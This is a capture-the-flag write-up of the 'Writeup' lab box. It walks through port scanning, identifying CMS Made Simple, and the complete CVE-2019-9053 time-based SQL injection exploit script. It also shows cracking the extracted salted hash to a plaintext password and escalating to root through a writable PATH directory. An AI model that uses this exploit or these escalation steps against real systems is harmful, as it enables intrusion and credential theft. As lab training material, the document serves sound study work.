Writeup
Writeup is an easy difficulty Linux box with DoS protection in place to prevent brute forcing. A CMS susceptible to a SQL injection vulnerability is found, which is leveraged to gain user credentials. The user is found to be in a non-default group, which has write access to part of the PATH. A path hijacking results in escalation of privileges to root.
Enumeration
Scanning open ports using nmap
└──╼ $nmap -p- -v -r 10.10.10.138 -T5 | grep open
Discovered open port 22/tcp on 10.10.10.138
Discovered open port 80/tcp on 10.10.10.138
The port 22 for SSH and port 80 for HTTP are open. Performing default and vulnerability script scan for these ports.
└──╼ $nmap -sCV 10.10.10.138 -p80,22
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-08 16:20 AEDT
Nmap scan report for writeup.htb (10.10.10.138)
Host is up (1.1s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry
|_/writeup/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
robots.txt
file shows that /writeup
is allowed to visit. Adding the ip hostname
entry to /etc/hosts
.
└──╼ $echo '10.10.10.138 writeup.htb' | sudo tee -a /etc/hosts
Checking the website http://writeup.htb/writeup/
Inspecting the source code.
This reveals that it is using CMS Made Simple - Copyright (C) 2004-2019
Searching cms made simple github
on google shows its source code here. From navigating through the code we can see that we can see below files.
CHANGELOG.txt
file looks interesting as it shows the version number of latest code.
Checking http://writeup.htb/writeup/doc/CHANGELOG.txt to see the changelog
Vulnerability Discovery
The version of CMS made simple is Version 2.2.9.1
. Searching for exploits for this version.
──╼ $searchsploit cms made simple 2.2.9.1
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
CMS Made Simple < 2.2.10 - SQL Injection | php/webapps/46635.py
---------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Found the CVE-2019-9053 (SQL Injection) exploit. Checking the exploit and mirroring to current dir. Below is the exploit.py file
#!/usr/bin/env python
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
# Date: 30-03-2019
# Exploit Author: Daniele Scanu @ Certimeter Group
# Vendor Homepage: https://www.cmsmadesimple.org/
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
# Version: <= 2.2.9
# Tested on: Ubuntu 18.04 LTS
# CVE : CVE-2019-9053
import requests
from termcolor import colored
import time
from termcolor import cprint
import optparse
import hashlib
parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
options, args = parser.parse_args()
if not options.url:
print "[+] Specify an url target"
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
exit()
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
session = requests.Session()
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
flag = True
password = ""
temp_password = ""
TIME = 5 # changing the time to 5 from 1 for reliable output
db_name = ""
output = ""
email = ""
salt = ''
wordlist = ""
if options.wordlist:
wordlist += options.wordlist
def crack_password():
global password
global output
global wordlist
global salt
dict = open(wordlist)
for line in dict.readlines():
line = line.replace("\n", "")
beautify_print_try(line)
if hashlib.md5(str(salt) + line).hexdigest() == password:
output += "\n[+] Password cracked: " + line
break
dict.close()
def beautify_print_try(value):
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
def beautify_print():
global output
print "\033c"
cprint(output,'green', attrs=['bold'])
def dump_salt():
global flag
global salt
global output
ord_salt = ""
ord_salt_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_salt = salt + dictionary[i]
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_salt)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
salt = temp_salt
ord_salt = ord_salt_temp
flag = True
output += '\n[+] Salt for password found: ' + salt
def dump_password():
global flag
global password
global output
ord_password = ""
ord_password_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_password = password + dictionary[i]
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_password)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
password = temp_password
ord_password = ord_password_temp
flag = True
output += '\n[+] Password found: ' + password
def dump_username():
global flag
global db_name
global output
ord_db_name = ""
ord_db_name_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_db_name = db_name + dictionary[i]
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_db_name)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
db_name = temp_db_name
ord_db_name = ord_db_name_temp
output += '\n[+] Username found: ' + db_name
flag = True
def dump_email():
global flag
global email
global output
ord_email = ""
ord_email_temp = ""
while flag:
flag = False
for i in range(0, len(dictionary)):
temp_email = email + dictionary[i]
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
beautify_print_try(temp_email)
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
url = url_vuln + "&m1_idlist=" + payload
start_time = time.time()
r = session.get(url)
elapsed_time = time.time() - start_time
if elapsed_time >= TIME:
flag = True
break
if flag:
email = temp_email
ord_email = ord_email_temp
output += '\n[+] Email found: ' + email
flag = True
dump_salt()
dump_username()
dump_email()
dump_password()
if options.cracking:
print colored("[*] Now try to crack password")
crack_password()
beautify_print()
How the Exploit Works
- Takes Input Parameters
-u
(URL of the target CMS)-w
(Wordlist for password cracking)-c
(Enable password cracking)
- Performs a Time-Based SQL Injection
- Uses a blind SQL injection attack, relying on time delays to infer values.
- Extracts salt, username, email, and password hash from the database.
- Uses Brute-Force to Extract Values Character by Character
- Iterates through a dictionary of possible characters.
- Appends each correct character to reconstruct the full values.
Exploitation
Executing the exploit.py
with Python v2.
└──╼ $python2 exploit.py -u http://writeup.htb/writeup
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
This gives the password hash. Let's identify its mode.
┌─[hexadivine@parrot]─[~]
└──╼ $hashcat '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807'
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 6831/13727 MB (2048 MB allocatable), 16MCU
The following 20 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
10 | md5($pass.$salt) | Raw Hash salted and/or iterated
20 | md5($salt.$pass) | Raw Hash salted and/or iterated
3800 | md5($salt.$pass.$salt) | Raw Hash salted and/or iterated
3710 | md5($salt.md5($pass)) | Raw Hash salted and/or iterated
4110 | md5($salt.md5($pass.$salt)) | Raw Hash salted and/or iterated
4010 | md5($salt.md5($salt.$pass)) | Raw Hash salted and/or iterated
21300 | md5($salt.sha1($salt.$pass)) | Raw Hash salted and/or iterated
40 | md5($salt.utf16le($pass)) | Raw Hash salted and/or iterated
3910 | md5(md5($pass).md5($salt)) | Raw Hash salted and/or iterated
4410 | md5(sha1($pass).$salt) | Raw Hash salted and/or iterated
21200 | md5(sha1($salt).md5($pass)) | Raw Hash salted and/or iterated
30 | md5(utf16le($pass).$salt) | Raw Hash salted and/or iterated
50 | HMAC-MD5 (key = $pass) | Raw Hash authenticated
60 | HMAC-MD5 (key = $salt) | Raw Hash authenticated
1100 | Domain Cached Credentials (DCC), MS Cache | Operating System
12 | PostgreSQL | Database Server
2811 | MyBB 1.2+, IPB2+ (Invision Power Board) | Forums, CMS, E-Commerce
2611 | vBulletin < v3.8.5 | Forums, CMS, E-Commerce
2711 | vBulletin >= v3.8.5 | Forums, CMS, E-Commerce
23 | Skype | Instant Messaging Service
Please specify the hash-mode with -m [hash-mode].
Started: Sat Mar 8 19:52:49 2025
Stopped: Sat Mar 8 19:52:49 2025
Tried with -m 10
but didn't work. So trying with -m 20
┌─[✗]─[hexadivine@parrot]─[~]
└──╼ $hashcat '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' -m 20 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, 6831/13727 MB (2048 MB allocatable), 16MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 4 MB
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 20 (md5($salt.$pass))
Hash.Target......: 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807
Time.Started.....: Sun Feb 9 18:11:04 2025 (1 sec)
Time.Estimated...: Sun Feb 9 18:11:05 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 7412.1 kH/s (0.55ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4374528/14344385 (30.50%)
Rejected.........: 0/4374528 (0.00%)
Restore.Point....: 4358144/14344385 (30.38%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: raynerleow -> rasdee
Hardware.Mon.#1..: Temp: 38c Util: 8%
Started: Sun Feb 9 18:10:53 2025
Stopped: Sun Feb 9 18:11:05 2025
┌─[hexadivine@parrot]─[~]
Here I found the password raykayjay9
for username jkr
. Trying these details to login to SSH.
After SSH we can grab the user flag.
Enumeration for Root
After enumerating everything I know - a hint helped me to move forward. The hint was use pspy
to view running processes. Below is the output of pspy
jkr@writeup:~$ ./pspy
pspy - version: 1.2.1 - Commit SHA: kali
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2025/03/05 06:33:00 CMD: UID=1000 PID=2574 | ./pspy
2025/03/05 06:33:00 CMD: UID=0 PID=2562 |
2025/03/05 06:33:00 CMD: UID=33 PID=2510 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2509 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2508 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2507 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=33 PID=2506 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=1000 PID=2354 | -bash
2025/03/05 06:33:00 CMD: UID=1000 PID=2353 | sshd: jkr@pts/0
2025/03/05 06:33:00 CMD: UID=0 PID=2347 | sshd: jkr [priv]
2025/03/05 06:33:00 CMD: UID=0 PID=2269 |
2025/03/05 06:33:00 CMD: UID=0 PID=2094 | /sbin/getty 38400 tty6
2025/03/05 06:33:00 CMD: UID=0 PID=2093 | /sbin/getty 38400 tty5
2025/03/05 06:33:00 CMD: UID=0 PID=2092 | /sbin/getty 38400 tty4
2025/03/05 06:33:00 CMD: UID=0 PID=2091 | /sbin/getty 38400 tty3
2025/03/05 06:33:00 CMD: UID=0 PID=2090 | /sbin/getty 38400 tty2
2025/03/05 06:33:00 CMD: UID=0 PID=2089 | /sbin/getty 38400 tty1
2025/03/05 06:33:00 CMD: UID=0 PID=1998 | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
2025/03/05 06:33:00 CMD: UID=0 PID=1925 | logger -t mysqld -p daemon error
2025/03/05 06:33:00 CMD: UID=103 PID=1924 | /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb18/plugin --user=mysql --skip-log-error --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
2025/03/05 06:33:00 CMD: UID=0 PID=1818 | /usr/bin/python3 /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -b
2025/03/05 06:33:00 CMD: UID=0 PID=1776 | /bin/bash /usr/bin/mysqld_safe
2025/03/05 06:33:00 CMD: UID=0 PID=1706 | /usr/sbin/elogind -D
2025/03/05 06:33:00 CMD: UID=101 PID=1664 | /usr/bin/dbus-daemon --system
2025/03/05 06:33:00 CMD: UID=0 PID=1654 | /usr/sbin/cron
2025/03/05 06:33:00 CMD: UID=0 PID=1579 | /usr/sbin/apache2 -k start
2025/03/05 06:33:00 CMD: UID=0 PID=1532 | /usr/bin/vmtoolsd
2025/03/05 06:33:00 CMD: UID=0 PID=1507 | /usr/sbin/rsyslogd
2025/03/05 06:33:00 CMD: UID=0 PID=1270 | dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2025/03/05 06:33:00 CMD: UID=0 PID=511 |
2025/03/05 06:33:00 CMD: UID=0 PID=452 |
2025/03/05 06:33:00 CMD: UID=0 PID=439 |
2025/03/05 06:33:00 CMD: UID=0 PID=438 |
2025/03/05 06:33:00 CMD: UID=0 PID=393 | udevd --daemon
2025/03/05 06:33:00 CMD: UID=0 PID=188 |
2025/03/05 06:33:00 CMD: UID=0 PID=187 |
2025/03/05 06:33:00 CMD: UID=0 PID=3 |
2025/03/05 06:33:00 CMD: UID=0 PID=2 |
2025/03/05 06:33:00 CMD: UID=0 PID=1 | init [2]
2025/03/05 06:33:01 CMD: UID=0 PID=2581 | /usr/sbin/CRON
2025/03/05 06:33:01 CMD: UID=0 PID=2582 | /usr/sbin/CRON
2025/03/05 06:33:01 CMD: UID=0 PID=2583 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2025/03/05 06:34:01 CMD: UID=0 PID=2585 | /usr/sbin/CRON
2025/03/05 06:34:01 CMD: UID=0 PID=2586 | /usr/sbin/CRON
2025/03/05 06:34:01 CMD: UID=0 PID=2587 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
2025/03/05 06:34:19 CMD: UID=0 PID=2588 | sshd: [accepted]
2025/03/05 06:34:19 CMD: UID=0 PID=2589 | sshd: [accepted]
2025/03/05 06:34:55 CMD: UID=0 PID=2590 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2025/03/05 06:34:55 CMD: UID=0 PID=2591 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2025/03/05 06:34:55 CMD: UID=0 PID=2592 | run-parts --lsbsysinit /etc/update-motd.d
2025/03/05 06:34:55 CMD: UID=0 PID=2593 | uname -rnsom
2025/03/05 06:34:55 CMD: UID=0 PID=2594 | sshd: jkr [priv]
2025/03/05 06:34:57 CMD: UID=1000 PID=2595 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2597 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2596 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2598 | -bash
2025/03/05 06:34:57 CMD: UID=1000 PID=2599 | -bash
2025/03/05 06:35:01 CMD: UID=0 PID=2600 | /usr/sbin/CRON
2025/03/05 06:35:01 CMD: UID=0 PID=2601 | /usr/sbin/CRON
2025/03/05 06:35:01 CMD: UID=0 PID=2602 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
We see run-parts
runs as root (by its UID=0). To remind we are also in staff
group. which lets edit files in /usr/local/sbin
.
This code in run-parts
file assigns SUID bit to /bin/bash
(which help run bash as root (owner) from any user). Let'u give this file executable permission.
jkr@writeup:~$ chmod +x /usr/local/sbin/run-parts
Now, for run-parts
file to execute we need to SSH from another terminal.
This should have executed run-parts
from from /usr/local/sbin
folder instead of real file. Let's check if we can elevate privileges.
As we can see we are root and we can capture the root flag.